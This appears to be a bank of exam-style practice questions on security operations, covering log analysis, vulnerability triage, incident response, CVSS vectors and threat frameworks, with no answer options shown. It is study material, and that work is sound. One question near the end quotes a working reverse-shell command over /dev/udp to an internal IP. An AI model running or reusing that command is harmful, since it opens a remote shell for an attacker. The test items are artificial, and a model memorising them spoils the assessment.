During analysis of HTTP access logs for a public-facing application, a security analyst notices a request containing embedded script code within an HTML element. The code appears intended to execute within a user’s browser when rendered by the page. Based on this log entry, which type of attack is MOST likely being attempted?

While investigating suspicious behavior on a Linux-based web server, a responder reviews local account configurations and recent application logs. The account listing shows that the web service is running under a non-root user, and the application logs reveal malformed multipart requests containing embedded system commands executed via a Java-based web framework. The log entries include attempts to download external files and execute system-level commands through request parameters.

Based on this evidence, what is the attacker MOST likely attempting to accomplish?

During routine analysis of HTTP access logs, a security analyst observes multiple requests occurring at the exact same timestamps. Each request includes unusual symbols and malformed strings within the URL path, suggesting abnormal client behavior. What should the analyst do NEXT to properly assess the situation?

A vendor supplies a managed security appliance that allows limited remote administration within customer environments. Customers are prohibited from modifying system settings. To enforce this policy, the vendor implemented a mechanism that continuously detects, records, and report any unauthorized configuration changes to a centralized system for review. Which of the following BEST describes the process the vendor is using to maintain the appliance’s approved configuration baseline?

During the final stages of an application’s development lifecycle, a testing phase is conducted to confirm that the system behaves as expected from an end-user perspective and meets predefined business and functional requirements. Which type of testing BEST fits this description?

An organization has identified several legacy workstations that have reached end-of-life status.The manufacturer has confirmed that these systems no longer receive security updates or patches. Due to operational constraints, the organization must continue using the devices for the foreseeable future. Which of the following approaches would BEST reduce the security risk associated with these unsupported systems?

A web application processes information submitted by users and transforms that data into a safe format before presenting it in a client’s browser to prevent script execution. Which of the following BEST describes this security practice?

A cybersecurity team is evaluating solutions to effectively detect and block the unauthorized transmission or exfiltration of sensitive personal information (such as customer data) beyond the company’s network boundaries. Which of the following technologies is most suitable for this purpose?

In the Lockheed Martin Cyber Kill Chain framework, which stage describes the point where a threat actor, having successfully compromised a system, sets up a persistent channel to issue instructions and exfiltrate data from the victim?

A critical customer-facing web application repeatedly shows the same classes of vulnerabilities (SQL injection, XSS, insecure deserialization, etc.) in monthly scans despite previous remediation attempts. Which of the following proactive measures, when integrated directly into the software development lifecycle, would most effectively prevent these recurring findings?

An organization authorizes a penetration test as part of a vulnerability assessment. From a risk management perspective, which of the following conditions presents the GREATEST threat to the organization during the testing engagement?

A cyber threat analysis team receives newly published indicators associated with a known adversary group from an information-sharing organization. The indicators describe specific behaviors and patterns used by the actor during recent campaigns. What is the MOST appropriate control that should be updated first to operationalize this intelligence?

An organization is developing a vulnerability assessment strategy for environments that include operational technology (OT) and industrial control systems (ICS). Because these systems are sensitive to disruption, leadership wants to ensure that the discovery process does not interfere with device stability or operations. Which of the following vulnerability identification techniques would BEST reduce the likelihood of causing outages or unintended behavior in OT/ICS systems?

During a digital forensic investigation, an examiner locates remnants of deleted files on a storage device. By identifying known file signatures and analyzing raw sectors of the disk, the examiner reconstructs complete files without relying on the file system structure. Which forensic method is being applied in this scenario?

During a security review of a perimeter-hosted Linux system, an analyst discovers that the server is running a deprecated release of OpenSSH. Further investigation reveals a section of source code where user-controlled numeric values are used to allocate memory without proper bounds checking, potentially allowing remote command execution through an integer overflow condition. Which of the following development controls would BEST mitigate this type of vulnerability?

During analysis of a suspected security incident, a SOC analyst reviews packet capture data showing repeated ICMP echo requests sent from one internal host to another. The requests increase in payload size over time, and the corresponding echo replies contain unexpected extra characters that were not included in the original request data. This pattern is observed consistently between the same two systems. What is the MOST likely explanation for this behavior?

An organization is evaluating whether to supplement its existing security monitoring platform with security orchestration, automation, and response (SOAR) capabilities. The goal is to improve incident handling efficiency. Which of the following BEST highlights a key benefit that SOAR platforms provide beyond traditional SIEM solutions?

Senior leadership requests a report identifying systems that are affected by high- and critical- severity vulnerabilities, using Common Vulnerabilities and Exposures (CVE) severity ratings as the reference. The report must correlate discovered weaknesses to specific hosts within the environment. Which of the following tools would BEST generate the type of vulnerability assessment results required?

While analyzing network traffic with a packet-capture tool, a security analyst observes a single host sending rapid TCP SYN packets to multiple sequential destination ports on the same target system. Several of the responses are RST packets, while others briefly complete a handshake and immediately terminate. The activity occurs within a very short time window and targets a range of ports. What type of activity MOST likely produced this traffic pattern?

During an incident investigation, a SOC analyst needs to determine whether a suspicious IP address has been associated with malicious behavior in other environments. The analyst is specifically looking for community-reported evidence of abuse such as scanning, brute-force attempts, or denial-of-service activity. Which of the following resources would BEST help the analyst identify whether the IP address has been involved in prior attacks?

Executive leadership wants greater visibility into the tactics, techniques, and procedures (TTPs) adversaries commonly use against the organization on a daily basis. The security team is asked to adopt a framework that allows defenders to systematically map, track, and respond to these attack methods across the enterprise. Which of the following frameworks would BEST support this effort?

A company is reviewing its data protection strategy with a focus on improving data privacy. The environment already enforces full-disk encryption on endpoints and uses data loss prevention (DLP) controls to monitor and restrict data movement. Leadership wants to further reduce privacy risk without adding significant operational overhead. Which of the following actions would provide the GREATEST additional benefit?

A security team reviews the results of an enterprise vulnerability scan that lists multiple findings across several hosts. Each finding includes a risk score and the number of days it has remained unresolved. The organization’s patching SLA mandates that high-risk issues be addressed first, especially when they expose services without proper authentication. Based on the scan summary, which finding should be remediated FIRST to comply with the SLA?

An organization relies on an FTP service to support mission-critical operations. The server allows users to access personal directories, and some employees store confidential information within those locations. A recent investigation uncovered that an attacker exploited a directory traversal weakness, allowing access to files outside the intended directory structure. Which of the following actions would BEST mitigate the risk of both current and future directory traversal attacks against this FTP service?

A SOC analyst is examining a large-scale phishing campaign that targeted employees across an enterprise. One of the messages impersonates a cloud service provider and urges recipients to click a link to resolve an alleged account issue. The embedded URL points to an external domain that closely resembles a legitimate service. Because of infrastructure limitations, the organization does not retain full packet captures or DNS query logs. However, network flow records are available for analysis. Which of the following actions is the MOST appropriate next step for the analyst to gather additional context about the suspicious domain?

While investigating a security incident, a SOC analyst reviews logs from several different servers and security tools. Although the events appear related, the timestamps do not align correctly, making it difficult to reconstruct an accurate sequence of actions. Which of the following is the MOST likely cause of this problem?

A security analyst is investigating alerts generated by a file integrity monitoring (FIM) system on a mission-critical Windows server. The alerts indicate multiple changes to registry keys associated with startup behavior, user profiles, and system configuration. One entry references an executable located in a user application data directory being referenced by a registry run key. Based on these indicators, what is the MOST likely suspicious behavior taking place on the system?

After a workstation became compromised by aggressive malware following a user’s web activity, an incident responder completed several containment and investigation steps, including documenting evidence, disabling network connectivity, interviewing the affected user, and reviewing available web access logs. The original source of the infection could not be conclusively identified. Which of the following actions is the MOST appropriate next step to fully remediate the affected system?

A SOC manager is preparing operational performance indicators for a recurring leadership update. Senior executives specifically want visibility into how quickly the security team can halt the lateral spread of malware once it has been identified inside the environment. Which metric BEST addresses this executive concern?

A cyber threat intelligence team observes an increase in attacks where adversaries abuse built-in Windows utilities (often referred to as “living off the land” techniques) to elevate privileges and run commands with higher permissions. These attacks rely on executing tools that are already present on the operating system to evade detection. Which of the following security controls would BEST reduce the likelihood of these privilege escalation attempts succeeding?

A SOC analyst is alerted by the application team that a public website is generating an unusually high volume of HTTP 404 (Not Found) responses. Before taking any containment or escalation actions, the analyst needs to determine whether the activity is benign, misconfigured, or malicious. What should the analyst do NEXT?

An organization has implemented DKIM signing for all outbound email to help protect against spoofing and impersonation attacks. During an investigation, a security analyst reviews a suspicious message in which both the From and To fields reference the company’s own domain. Which of the following findings would MOST strongly suggest that the email is fraudulent?

An organization’s leadership has decided to reduce internal liability associated with storing and managing sensitive information by shifting data-handling responsibilities to an external cloud provider. Before selecting a cloud approach, IT leadership asks the security team to recommend a solution that ensures enterprise data remains within the provider’s environment while still enforcing organizational security policies. Which of the following options BEST satisfies this requirement?

Following a recent security review, an organization identified weaknesses in how sensitive information is handled and retained. Budget constraints require that any remediation effort be low cost while still meaningfully reducing privacy and data protection risk. Which of the following actions would provide the MOST cost-effective improvement?

An organization is preparing to roll out a new software solution that must interface with multiple existing systems containing sensitive personal information (SPI). Before moving forward with implementation, leadership wants to understand the potential operational and financial consequences if the new integration were to fail or be compromised. Which of the following activities should be performed FIRST to address this concern?

A security team reviews a periodic vulnerability assessment and identifies two legacy servers that are running unsupported operating systems. Because vendor updates are no longer available, these systems cannot be patched. To prevent exploitation, the analyst decides the systems must be segmented and protected through alternative safeguards. Which of the following strategies BEST describes the analyst’s approach to reducing the risk associated with these legacy servers?

After detecting a security risk, an organization chooses to reduce its exposure by systematically applying software updates and fixes to affected systems. The goal is to lessen the likelihood and impact of exploitation. Which risk treatment strategy is the organization applying in this scenario?

After a security event has been fully contained and analyzed, an organization wants to determine what underlying factors allowed the incident to occur and how similar events can be prevented in the future. Which of the following activities would MOST likely be conducted at this stage?

An organization is struggling to efficiently provision and deprovision user access due to frequent last-minute personnel changes. Support staff must manually create and remove accounts across numerous integrated applications, increasing the risk of delays and access errors. Which of the following would MOST effectively streamline account management while reducing the risk of orphaned or excessive user access?

A security team is prioritizing remediation work during a limited development cycle. Several vulnerabilities have been identified, but resource constraints allow only the highest-risk issues to be addressed immediately. The analyst must determine which vulnerability poses the lowest overall business risk and can therefore be deferred. Based on the following CVSS v3.1 base vectors and scores, which vulnerability represents the least impactful risk?

After resolving a security incident, an organization conducts a formal review to understand why the event occurred and what conditions allowed it to happen. The goal is to prevent similar incidents in the future by addressing underlying weaknesses rather than just the symptoms. Which of the following BEST explains the primary purpose of performing a root cause analysis?

Following a review of the organization’s vulnerability management efforts, auditors noted that development teams lack sufficient awareness of common application security weaknesses. Leadership wants a corrective action that directly improves developer behavior and reduces the introduction of insecure code. Which of the following actions would MOST effectively address this gap?

As part of regular security operations, a vulnerability management team performs scans across the enterprise environment. During one of these assessments, a mission-critical production server becomes unresponsive. Further investigation reveals the outage occurred as a direct result of how the scan interacted with the system. Which of the following BEST explains why the vulnerability scan caused the server to fail?

After discovering a security flaw on a critical server, an analyst installs the vendor-provided patch to address it. What should be the subsequent action in the vulnerability remediation workflow?

While responding to a phishing incident, a SOC analyst is tasked with determining where a suspicious email originated. The analyst needs to trace the path the message took through mail servers to identify the sending infrastructure. Which of the following methods would MOST effectively provide this information?

A cybersecurity initiative reduced the mean time to respond (MTTR) by 30% after incorporating various security tools and controls into the organization’s SIEM platform. This allowed analysts to perform investigations without switching between multiple interfaces. Which of the following terms best describes this approach?

A security analyst is tasked with assessing the relevance and potential impact of a recently reported ransomware variant that the CFO learned about through media coverage. The organization specializes in producing a specialized miniature component essential for advanced military aircraft, making it a vital part of the defense supply chain. Which of the following represents the most reliable source for obtaining detailed threat intelligence on this emerging campaign?

During routine monitoring, a SOC analyst receives an alert from a file integrity monitoring (FIM) system indicating that a production web page has been modified. A manual comparison against the previously approved version reveals newly inserted client-side code that sends user credential information to an external domain using an encoded parameter. The suspicious code initiates an outbound HTTP request containing email and password values. What is the MOST accurate description of the activity observed by the analyst?

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

A security team wants to automate its response to active threats. When endpoint monitoring detects malicious activity, the team wants the offending IP address to be automatically shared with perimeter controls so blocking rules can be applied enterprise-wide without manual intervention. Which of the following solutions would BEST enable this type of automated, cross-platform response?

The organization’s Chief Information Security Officer (CISO) is focused on minimizing the use of unauthorized shadow IT resources across the company. Employees have been adopting various unsanctioned high-risk cloud services, which significantly elevate the overall security exposure. Which of the following approaches would most effectively help mitigate this risk?

An organization wants to tightly control which cloud-based and browser-accessible applications employees are permitted to use. Only services that have been formally reviewed and approved by security should be accessible. Which of the following approaches would BEST enforce this requirement?

Before performing a comprehensive security assessment of a web application, a security professional wants to map out reachable endpoints and identify any paths that should be excluded from deeper testing. The goal is to understand application structure and access boundaries without performing intrusive analysis. Which type of scan BEST matches this requirement?

A security operations team wants to strengthen protection across all user devices against internet- based attacks. The solution must operate at the endpoint level and provide consistent visibility and protection regardless of whether the device runs Windows, macOS, or Linux. Which of the following technologies BEST satisfies this requirement?

A SOC team needs a way to efficiently monitor security events across dozens of systems without manually accessing each host to review logs. The solution must provide centralized analysis, correlation, and alerting capabilities. Which of the following approaches BEST meets this requirement?

When creating a post-incident “Lessons Learned” document following a major data breach, what should be the initial step in preparing the report to ensure it is effective and well-received?

Following a major security incident, the response team is conducting the post-incident review phase. Which of the following elements is most critical to incorporate during the lessons-learned process?

During vulnerability triage, a security analyst notices several findings that all have comparable overall CVSS v3 base scores, but differ in how they can be exploited. Management wants remediation efforts focused on the vulnerability that poses the greatest immediate exposure. Given the following CVSS v3 vectors, which vulnerability should be addressed FIRST?

A managed detection and response provider is struggling to keep up with alert volume after a customer significantly expanded its endpoint footprint. The organization wants to reduce analyst fatigue and improve response efficiency without hiring additional personnel. Which of the following technologies would MOST effectively help automate repetitive security tasks and streamline incident handling?

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

A security architect is evaluating options for securely storing and processing cryptographic material within an enterprise environment. The solution must protect sensitive key material and support encryption-related operations in a tamper-resistant manner. Which of the following statements BEST defines the role of a hardware security module (HSM)?

A manufacturer relies on specialized equipment that is managed by a computer running an operating system scheduled to reach end of support. The system cannot be easily upgraded due to compatibility requirements with the machinery it controls. From a cybersecurity risk perspective, what is the PRIMARY concern associated with continuing to operate this system after the end-of-life date?

An IT security analyst has received an email alert regarding a vulnerability within the new fleet of vehicles the company recently purchased. Which of the following attack vectors is the vulnerability MOST likely targeting?

An organization is implementing hardware assurance controls to protect embedded systems from unauthorized modification. As part of this effort, the security team evaluates the role of trusted firmware update mechanisms. Which of the following BEST describes how trusted firmware updates contribute to hardware assurance?

During a security review, a vulnerability analyst discovers that a web-based service validates uploaded files by comparing a checksum before executing them with a Bash script. The analyst successfully bypasses this control by exploiting a known weakness in the hashing algorithm, allowing a different file with the same hash value to be accepted. To remediate this issue while making the minimal possible changes to the existing script and environment, which of the following recommendations is MOST appropriate?

A company documents a set of security requirements that govern how sensitive information is handled throughout its lifecycle. The requirements include inspecting inbound and outbound email traffic, monitoring network activity, labeling sensitive data, and ensuring that protected information is encrypted during transmission and storage—especially on portable devices. Which of the following policy types BEST represents what the organization is implementing?

While responding to a security incident, a forensic analyst must prioritize the collection of digital evidence from a live system based on data volatility to prevent loss of critical information. Which of the following evidence types should be captured with the highest priority due to its most volatile nature?

A threat actor has successfully infiltrated a corporate network through a targeted phishing campaign that tricked an employee into revealing credentials. To sustain their foothold and advance further objectives, the actor is now focused on securing persistent access. In which phase of the Lockheed Martin Cyber Kill Chain is the attacker primarily engaged at this moment?

A cybersecurity team is seeking ways to automate routine tasks, reduce manual interventions by analysts, and enhance overall efficiency in handling security alerts and incidents within their operations center. Which of the following technologies best supports these objectives?

A cybersecurity analyst observes a malicious payload in network traffic that includes this command:

sh -i >&/dev/udp/10.1.1.1/4821 0>&1

What type of attack technique is the threat actor most likely attempting to execute?

A vulnerability assessment report includes the following CVSS v3.0 vector:

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Based on this scoring vector, which statement BEST reflects a characteristic of the vulnerability?